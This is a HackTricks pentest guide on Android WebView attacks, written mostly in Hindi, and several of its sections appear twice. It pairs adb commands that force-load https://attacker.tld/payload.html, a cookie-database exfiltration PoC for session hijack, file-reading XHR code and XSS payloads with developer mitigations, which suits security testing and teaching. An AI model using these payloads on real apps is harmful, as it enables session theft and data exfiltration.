Webview Attacks

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Android विकास का एक महत्वपूर्ण पहलू WebViews को सही तरीके से हैंडल करना है। यह मार्गदर्शिका WebView उपयोग से जुड़े जोखिमों को कम करने के लिए प्रमुख कॉन्फ़िगरेशन और सुरक्षा प्रथाओं को रेखांकित करती है।

WebView Example

File Access in WebViews

डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। यह फ़ंक्शन setAllowFileAccess() मेथड द्वारा नियंत्रित होता है, जो Android API level 3 (Cupcake 1.5) से उपलब्ध है। जिन एप्लिकेशनों को android.permission.READ_EXTERNAL_STORAGE अनुमति है वे external storage से file URL scheme (file://path/to/file) का उपयोग करके फ़ाइलें पढ़ सकती हैं।

Deprecated Features: Universal and File Access From URLs

Universal Access From File URLs: यह deprecated फीचर file URLs से cross-origin requests की अनुमति देता था, जो संभावित XSS attacks के कारण महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता था। जो ऐप्स Android Jelly Bean और नए टार्गेट करते हैं उनके लिए डिफ़ॉल्ट सेटिंग disabled (false) है।
To check this setting, use getAllowUniversalAccessFromFileURLs().
To modify this setting, use setAllowUniversalAccessFromFileURLs(boolean).
File Access From File URLs: यह फीचर भी deprecated है और अन्य file scheme URL से कंटेंट तक पहुँच को नियंत्रित करता था। Universal access की तरह, सुरक्षा बढ़ाने के लिए इसका डिफ़ॉल्ट भी disabled है।
Use getAllowFileAccessFromFileURLs() to check and setAllowFileAccessFromFileURLs(boolean) to set.

Secure File Loading

स्थानीय assets और resources तक पहुँच बनाए रखते हुए फ़ाइल सिस्टम एक्सेस को अक्षम करने के लिए setAllowFileAccess() मेथड का उपयोग किया जाता है। Android R और उससे ऊपर पर डिफ़ॉल्ट सेटिंग false है।

Check with getAllowFileAccess().
Enable or disable with setAllowFileAccess(boolean).

WebViewAssetLoader

The WebViewAssetLoader class स्थानीय फ़ाइलें लोड करने का आधुनिक तरीका है। यह स्थानीय assets और resources तक पहुँचने के लिए http(s) URLs का उपयोग करता है, जो Same-Origin policy के अनुरूप है, और इस तरह CORS प्रबंधन को आसान बनाता है।

loadUrl

यह एक सामान्य फ़ंक्शन है जो किसी भी URL को WebView में लोड करने के लिए उपयोग किया जाता है:

webview.loadUrl("<url here>")

बेशक, किसी संभावित हमलावर को कभी भी उस एप्लिकेशन द्वारा लोड किए जाने वाले control the URL को नियंत्रित करने की अनुमति नहीं मिलनी चाहिए।

JavaScript और Intent Scheme हैंडलिंग

JavaScript: WebViews में डिफ़ॉल्ट रूप से अक्षम रहता है; इसे setJavaScriptEnabled() कॉल करके सक्षम किया जा सकता है। सावधानी आवश्यक है क्योंकि JavaScript को बिना उचित सुरक्षा के सक्षम करने से सुरक्षा कमजोरियाँ आ सकती हैं।
Intent Scheme: WebViews intent scheme को हैंडल कर सकते हैं, जो सावधानी न बरती जाए तो संभावित exploits तक ले जा सकता है। एक उदाहरण में एक exposed WebView parameter “support_url” शामिल था जिसे cross-site scripting (XSS) attacks को execute करने के लिए exploit किया जा सकता था।

Vulnerable WebView

adb का उपयोग करके exploit का उदाहरण:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript ब्रिज

Android एक फीचर प्रदान करता है जो WebView में JavaScript को native Android app functions को invoke करने में सक्षम बनाता है। यह addJavascriptInterface मेथड का उपयोग करके किया जाता है, जो JavaScript को native Android functionalities के साथ इंटीग्रेट करता है, जिसे WebView JavaScript bridge कहा जाता है। सावधानी बरतनी चाहिए क्योंकि यह मेथड WebView के भीतर सभी पृष्ठों को पंजीकृत JavaScript Interface ऑब्जेक्ट तक पहुँचने की अनुमति देता है, जिससे यदि इन इंटरफेस के माध्यम से संवेदनशील जानकारी प्रकट हो जाए तो सुरक्षा जोखिम उत्पन्न होता है।

बहुत अधिक सावधानी आवश्यक है उन apps के लिए जो Android versions 4.2 से नीचे लक्षित करते हैं, क्योंकि एक vulnerability है जो malicious JavaScript के माध्यम से remote code execution की अनुमति देती है, reflection का शोषण करते हुए।

JavaScript ब्रिज लागू करना

JavaScript interfaces native code के साथ इंटरैक्ट कर सकती हैं, जैसा कि उदाहरणों में दिखाया गया है जहाँ एक class method JavaScript के लिए एक्सपोज़ किया गया है:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

JavaScript Bridge को WebView में एक interface जोड़कर सक्षम किया जाता है:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

JavaScript के माध्यम से संभावित शोषण, उदाहरण के लिए XSS attack के जरिए, exposed Java methods को कॉल करने की अनुमति देता है:

<script>
alert(javascriptBridge.getSecret())
</script>

जोखिमों को कम करने के लिए, restrict JavaScript bridge usage को केवल APK के साथ भेजे गए code तक सीमित रखें और JavaScript को रिमोट स्रोतों से लोड होने से रोकें। पुराने डिवाइस के लिए, minimum API level को 17 पर सेट करें।

Reflection-based Remote Code Execution (RCE)

एक दस्तावेजीकृत तरीका reflection के जरिए RCE हासिल करने की अनुमति देता है, विशेष रूप से एक payload को execute करके। हालांकि, @JavascriptInterface annotation अनधिकृत method access को रोकता है, जिससे attack surface सीमित रहता है।

Remote Debugging

Remote debugging Chrome Developer Tools के साथ संभव है, जो WebView content के भीतर interaction और arbitrary JavaScript execution को सक्षम करता है।

Enabling Remote Debugging

Remote debugging को एप्लिकेशन के भीतर सभी WebViews के लिए सक्षम किया जा सकता है:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

एप्लिकेशन के debuggable state के आधार पर शर्तीय रूप से debugging सक्षम करने के लिए:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate मनमानी फ़ाइलें

XMLHttpRequest का उपयोग करके मनमानी फ़ाइलों की exfiltration को दर्शाता है:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView पर हमले

WebView विन्यास और सुरक्षा पर मार्गदर्शिका

WebView कमजोरियों का अवलोकन

Android विकास का एक महत्वपूर्ण पहलू WebViews को सही ढंग से संभालना है। यह गाइड WebView उपयोग से जुड़े जोखिमों को कम करने के लिए मुख्य विन्यास और सुरक्षा अभ्यासों को रेखांकित करता है।

WebView उदाहरण

File Access in WebViews

डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। यह कार्यक्षमता setAllowFileAccess() मेथड द्वारा नियंत्रित होती है, जो Android API level 3 (Cupcake 1.5) से उपलब्ध है। जिन एप्लिकेशनों के पास android.permission.READ_EXTERNAL_STORAGE परमिशन है वे external storage से file URL scheme (file://path/to/file) का उपयोग करके फ़ाइलें पढ़ सकते हैं।

Deprecated Features: Universal and File Access From URLs

Universal Access From File URLs: यह deprecated फीचर file URLs से cross-origin requests की अनुमति देता था, जिससे संभावित XSS attacks के चलते एक बड़ा सुरक्षा जोखिम पैदा हो सकता था। Android Jelly Bean और उसके बाद के लक्षित ऐप्स के लिए इसका डिफ़ॉल्ट सेटिंग disabled (false) है।
इस सेटिंग की जाँच करने के लिए getAllowUniversalAccessFromFileURLs() का उपयोग करें।
इस सेटिंग को बदलने के लिए setAllowUniversalAccessFromFileURLs(boolean) का उपयोग करें।
File Access From File URLs: यह फीचर, जो deprecated भी है, अन्य file scheme URLs से सामग्री तक पहुँच को नियंत्रित करता था। Universal access की तरह, सुरक्षा बढ़ाने के लिए इसका भी डिफ़ॉल्ट disabled है।
जाँच के लिए getAllowFileAccessFromFileURLs() और सेट करने के लिए setAllowFileAccessFromFileURLs(boolean) का उपयोग करें।

Secure File Loading

assets और resources तक पहुँच बनाए रखते हुए file system एक्सेस को निष्क्रिय करने के लिए setAllowFileAccess() मेथड का उपयोग किया जाता है। Android R और उससे ऊपर में, डिफ़ॉल्ट सेटिंग false है।

getAllowFileAccess() से जाँच करें।
setAllowFileAccess(boolean) से सक्षम या अक्षम करें।

WebViewAssetLoader

स्थानीय फ़ाइलें लोड करने के लिए आधुनिक तरीका WebViewAssetLoader क्लास है। यह स्थानीय assets और resources तक पहुँचने के लिए http(s) URLs का उपयोग करता है, जो Same-Origin policy के अनुरूप है और CORS प्रबंधन की सुविधा प्रदान करता है।

loadUrl

webview.loadUrl("<url here>")

बेशक, कोई संभावित हमलावर कभी भी उस एप्लिकेशन द्वारा लोड किए जाने वाले URL को नियंत्रित नहीं कर पाना चाहिए।

आंतरिक WebView में Deep-linking (custom scheme → WebView sink)

कई ऐप्स custom schemes/paths रजिस्टर करते हैं जो उपयोगकर्ता द्वारा प्रदान किए गए URL को इन-ऐप WebView में रूट करते हैं। अगर यह deep link exported (VIEW + BROWSABLE) है, तो एक हमलावर ऐप को उसके WebView संदर्भ के भीतर मनमाना remote content रेंडर करने के लिए बाध्य कर सकता है।

Typical manifest pattern (simplified):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

सामान्य कोड प्रवाह (सरलीकृत):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

adb के माध्यम से हमला पैटर्न और PoC:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

प्रभाव: रिमोट पेज ऐप के WebView context में चलता है (ऐप WebView प्रोफ़ाइल के cookies/session, किसी भी exposed @JavascriptInterface तक पहुँच, settings के अनुसार content:// और file:// तक संभावित पहुँच)।

Hunting tips:

Grep decompiled स्रोतों में getQueryParameter("url"), loadUrl(, WebView sinks, और deep-link handlers (onCreate/onNewIntent) के लिए।
manifest की समीक्षा करें ताकि VIEW+BROWSABLE filters और ऐसे custom schemes/hosts मिलें जो activities को map करते हैं जो बाद में WebView शुरू करती हैं।
जाँच करें कि क्या एक से अधिक deep-link paths हैं (उदा., “external browser” path बनाम “internal webview” path) और उस path को प्राथमिकता दें जो ऐप के अंदर render होता है।

वेरिफिकेशन से पहले JavaScript सक्षम करना (order-of-checks bug)

एक सामान्य hardening गलती यह है कि target URL के अंतिम allowlist/verification पूरे होने से पहले JavaScript सक्षम कर दिया जाता है या relaxed WebView settings कॉन्फ़िगर कर दी जाती हैं। अगर verification helpers के बीच inconsistent है या यह बहुत देर से होता है, तो एक attacker deep link ऐसी स्थिति तक पहुँच सकता है जहाँ:

WebView settings लागू हो चुके होते हैं (उदा., setJavaScriptEnabled(true)), और
untrusted URL JavaScript सक्षम करके लोड हो जाता है।

Bug pattern (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

क्यों यह शोषणयोग्य है

असंगत सामान्यीकरण: helpers अंतिम जांच की तुलना में URL को अलग तरीके से split/rebuild करते हैं, जिससे mismatches बनते हैं जिनका एक malicious URL फायदा उठा सकता है।
गलत क्रम वाली पाइपलाइन: step 2 में JS सक्षम करने से यह पूरे WebView instance पर लागू हो जाता है, अंतिम लोड को प्रभावित करता है भले ही बाद में सत्यापन असफल हो जाए।

How to test

ऐसे deep-link payloads तैयार करें जो शुरुआती checks पार कर लें और WebView configuration साइट तक पहुँचें।
adb का उपयोग करके implicit VIEW intents फायर करें जो आपके नियंत्रित url= parameter को भेजते हैं:

adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

यदि exploitation सफल हो जाता है, आपका payload ऐप के WebView में JavaScript निष्पादित करता है। वहाँ से, exposed bridges के लिए probe करें:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

रक्षात्मक मार्गदर्शन

एक बार canonicalize करें; एक ही source of truth (scheme/host/path/query) के खिलाफ कड़ाई से validate करें।
सभी allowlist चेक पास होने के बाद और trusted content लोड करने से ठीक पहले ही setJavaScriptEnabled(true) कॉल करें।
untrusted origins को @JavascriptInterface expose करने से बचें; per-origin gating को प्राथमिकता दें।
trusted vs untrusted content के लिए per-WebView instances पर विचार करें, और डिफ़ॉल्ट रूप से JS disabled रखें।

JavaScript और Intent Scheme Handling

JavaScript: WebViews में डिफ़ॉल्ट रूप से disabled होता है, इसे setJavaScriptEnabled() के जरिए सक्षम किया जा सकता है। सावधानी बरतें — बिना उचित safeguards के JavaScript को सक्षम करने से security vulnerabilities उत्पन्न हो सकती हैं।
Intent Scheme: WebViews intent scheme को handle कर सकते हैं, और अगर सावधानी से manage न किया जाए तो यह exploits की ओर ले जा सकता है। एक उदाहरण vulnerability में एक exposed WebView parameter “support_url” शामिल था जिसे cross-site scripting (XSS) हमलों को execute करने के लिए exploit किया जा सकता था।

असुरक्षित WebView

Exploitation का उदाहरण (adb का उपयोग करते हुए):

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript ब्रिज

Android एक ऐसी सुविधा प्रदान करता है जो WebView में मौजूद JavaScript को native Android app functions को कॉल करने में सक्षम बनाती है। यह addJavascriptInterface मेथड के उपयोग से होता है, जो JavaScript को native Android कार्यक्षमताओं के साथ इंटीग्रेट करता है, जिसे WebView JavaScript bridge कहा जाता है। सावधानी जरूरी है क्योंकि यह मेथड WebView के भीतर सभी पन्नों को registered JavaScript Interface ऑब्जेक्ट तक पहुँचने की अनुमति देता है, जो इन इंटरफेसेस के माध्यम से कोई संवेदनशील जानकारी एक्सपोज़ होने पर सुरक्षा जोखिम पैदा कर सकता है।

बेहद सावधानी आवश्यक है: Android 4.2 से नीचे के वर्ज़न लक्षित करने वाली ऐप्स के लिए, क्योंकि एक कमज़ोरी है जो malicious JavaScript के जरिए reflection का उपयोग करके remote code execution की अनुमति देती है।

JavaScript ब्रिज लागू करना

JavaScript interfaces native code के साथ इंटरैक्ट कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहाँ किसी class की method को JavaScript के लिए expose किया गया है:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

JavaScript Bridge WebView में एक interface जोड़कर सक्षम किया जाता है:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

JavaScript के माध्यम से संभावित शोषण, उदाहरण के लिए XSS attack के माध्यम से, exposed Java methods को कॉल करने में सक्षम बनाता है:

<script>
alert(javascriptBridge.getSecret())
</script>

जोखिम कम करने के लिए, restrict JavaScript bridge usage केवल APK के साथ भेजे गए कोड तक सीमित रखें और JavaScript को remote sources से लोड होने से रोकें। पुराने डिवाइसों के लिए, minimum API level को 17 पर सेट करें।

dispatcher-style JS bridges का दुरुपयोग (invokeMethod/handlerName)

एक सामान्य पैटर्न एक single exported method है (e.g., @JavascriptInterface void invokeMethod(String json)) जो attacker-controlled JSON को एक generic object में deserialize करके दिए गए handler name के आधार पर dispatch करता है। सामान्य JSON संरचना:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

जोखिम: अगर कोई registered handler attacker के डेटा पर privileged actions करता है (उदा., सीधे फ़ाइल पढ़ना), तो आप उसे उपयुक्त handlerName सेट करके कॉल कर सकते हैं। परिणाम सामान्यतः पेज context में evaluateJavascript के माध्यम से और callbackId द्वारा key किए गए callback/promise mechanism से वापस भेजे जाते हैं।

Key hunting steps

Decompile और grep करके addJavascriptInterface( खोजें ताकि bridge object का नाम पता चले (उदा., xbridge)।
Chrome DevTools (chrome://inspect) में Console में bridge object नाम टाइप करें (उदा., xbridge) ताकि exposed fields/methods सूचीबद्ध हों; किसी generic dispatcher जैसे invokeMethod की तलाश करें।
Handlers को enumerate करें उन classes को सर्च करके जो getModuleName() implement करती हैं या registration maps देखें।

Arbitrary file read via URI → File sinks (Base64 exfiltration)

यदि कोई handler एक URI लेता है, Uri.parse(req.getUri()).getPath() कॉल करता है, new File(...) बनाता है और बिना allowlists या sandbox checks के पढ़ता है, तो आपको app sandbox में arbitrary file read मिलता है जो WebView सेटिंग्स जैसे setAllowFileAccess(false) को bypass करता है (पढ़ाई native code में होती है, WebView network stack के जरिए नहीं)।

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

Cookie DB paths विभिन्न devices/providers पर अलग-अलग होते हैं। सामान्य ones:
file:///data/data/<pkg>/app_webview/Default/Cookies
file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
The handler returns Base64; इसे decode करके cookies पुनः प्राप्त करें और app के WebView profile में user का impersonate करें।

Detection tips

app का उपयोग करते समय evaluateJavascript के माध्यम से लौटाए गए बड़े Base64 strings पर ध्यान दें।
handlers को ढूँढने के लिए decompiled sources में grep करें जो uri/path स्वीकार करते हैं और उन्हें new File(...) में convert करते हैं।

Bypassing WebView privilege gates – endsWith() host checks

Privilege decisions (selecting a JSB-enabled Activity) अक्सर host allowlists पर निर्भर करते हैं। एक त्रुटिपूर्ण पैटर्न है:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

समतुल्य तर्क (De Morgan’s):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

यह origin चेक नहीं है। कई अनपेक्षित होस्ट दूसरा क्लॉज़ पूरा कर देते हैं, जिससे अविश्वसनीय डोमेनों को विशेषाधिकार प्राप्त Activity में प्रवेश मिल जाता है। हमेशा scheme और host को एक सख्त allowlist के खिलाफ सत्यापित करें (सटीक मिलान या डॉट-सीमाओं के साथ सही सबडोमेन चेक), endsWith ट्रिक्स का उपयोग न करें।

javascript:// execution primitive via loadUrl

एक बार विशेषाधिकार प्राप्त WebView के अंदर पहुँच जाने पर, ऐप्स कभी-कभी इनलाइन JS को निम्न के माध्यम से निष्पादित करते हैं:

webView.loadUrl("javascript:" + jsPayload);

If an internal flow triggers loadUrl("javascript:...") in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:

ऐप में loadUrl("javascript: और evaluateJavascript( के लिए grep करें।
उन code paths तक पहुँचने की कोशिश करें, खासकर जब आप navigation को privileged WebView की ओर force करें (उदा., permissive deep link chooser के जरिए)।
उस primitive का उपयोग करके dispatcher (xbridge.invokeMethod(...)) कॉल करें और संवेदनशील handlers तक पहुँचें।

Mitigations (developer checklist)

Privileged Activities के लिए strict origin verification: canonicalize करें और scheme/host की तुलना explicit allowlist के खिलाफ करें; endsWith-आधारित checks से बचें। लागू होने पर Digital Asset Links पर विचार करें।
ब्रिजेस को केवल trusted pages तक सीमित करें और हर कॉल पर trust को पुनः जाँचें (per-call authorization)।
filesystem-capable handlers को हटा दें या सख्ती से सुरक्षित करें; raw file:// paths के बजाय content:// को allowlists/permissions के साथ प्राथमिकता दें।
Privileged contexts में loadUrl("javascript:") से बचें या इसे मजबूत checks के पीछे gate करें।
याद रखें कि setAllowFileAccess(false) ब्रिज के माध्यम से native file reads से सुरक्षा प्रदान नहीं करता।

JSB enumeration and debugging tips

Chrome DevTools Console उपयोग करने के लिए WebView remote debugging सक्षम करें:
App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
System-side: modules like LSPosed or Frida scripts release builds में भी debugging force-enable कर सकते हैं। Example Frida snippet for Cordova WebViews: cordova enable webview debugging
DevTools में, bridge object नाम (उदा., xbridge) टाइप करें ताकि exposed members देखें और dispatcher पर probe कर सकें।

Reflection-based Remote Code Execution (RCE)

A documented method allows achieving RCE through reflection by executing a specific payload. However, the @JavascriptInterface annotation prevents unauthorized method access, limiting the attack surface.

Remote Debugging

Remote debugging is possible with Chrome Developer Tools, enabling interaction and arbitrary JavaScript execution within the WebView content.

Enabling Remote Debugging

Remote debugging को application के सभी WebViews के लिए सक्षम किया जा सकता है:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

एप्लिकेशन के debuggable state के आधार पर debugging को शर्तानुसार सक्षम करने के लिए:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

XMLHttpRequest का उपयोग करके arbitrary files की exfiltration प्रदर्शित करता है:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

एक सामान्य कमज़ोरी यह है कि आने वाले Intent extra से हमलावर द्वारा नियंत्रित डेटा पढ़कर उसे JavaScript सक्षम करके loadData() के माध्यम से सीधे WebView में इंजेक्ट कर दिया जाता है।

कमज़ोर पैटर्न (exported Activity extra पढ़ता है और उसे HTML के रूप में रेंडर करता है):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

यदि वह Activity exported है (या exported proxy के माध्यम से पहुँच योग्य है), तो एक malicious app data extra में HTML/JS प्रदान करके reflected XSS कर सकता है:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impact

ऐप के WebView संदर्भ में मनमाना JS: @JavascriptInterface ब्रिजेस को सूचीबद्ध/उपयोग करें, WebView कुकीज़/local storage तक पहुँचें, सेटिंग्स के मुताबिक file:// या content:// पर pivot करें।

Mitigations

सभी Intent-निर्मित इनपुट को अविश्वसनीय मानें। HTML को Escape (Html.escapeHtml) करें या अस्वीकार करें; अनविश्वसनीय टेक्स्ट को HTML के रूप में नहीं, बल्कि टेक्स्ट के रूप में रेंडर करना प्राथमिकता दें।
जब तक सख्त आवश्यकता न हो JavaScript को अक्षम रखें; अनविश्वसनीय कंटेंट के लिए WebChromeClient सक्षम न करें।
यदि आपको टेम्पलेटेड HTML रेंडर करनी ही है, तो सुरक्षित बेस और CSP के साथ loadDataWithBaseURL() का उपयोग करें; विश्वसनीय और अविश्वसनीय WebViews को अलग रखें।
Activity को बाहरी रूप से एक्सपोज़ करने से बचें या जब आवश्यक न हो तो उसे permissions से सुरक्षित रखें।

See Intent-based primitives and redirection in: Intent Injection

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।